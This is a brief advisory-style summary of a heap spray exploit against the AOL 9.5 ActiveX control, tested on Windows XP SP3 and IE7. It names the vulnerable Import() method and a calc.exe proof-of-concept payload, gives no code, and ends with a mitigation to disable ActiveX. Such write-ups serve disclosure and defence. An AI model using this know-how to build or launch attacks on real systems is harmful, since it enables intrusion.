AOL 9.5 ActiveX 0day Exploit (heap spray)

This exploit is a heap spray vulnerability in AOL 9.5 ActiveX. It was discovered by Hellcode Research and tested on Windows XP SP3 and IE7. The exploit uses a win32_exec shellcode to execute calc.exe. The exploit uses a heap spray technique to spray the heap with the shellcode and then uses the Import() method of the AOL 9.5 ActiveX control to trigger the vulnerability.

Mitigation:

Disable ActiveX controls in the browser or use a browser that does not support ActiveX.
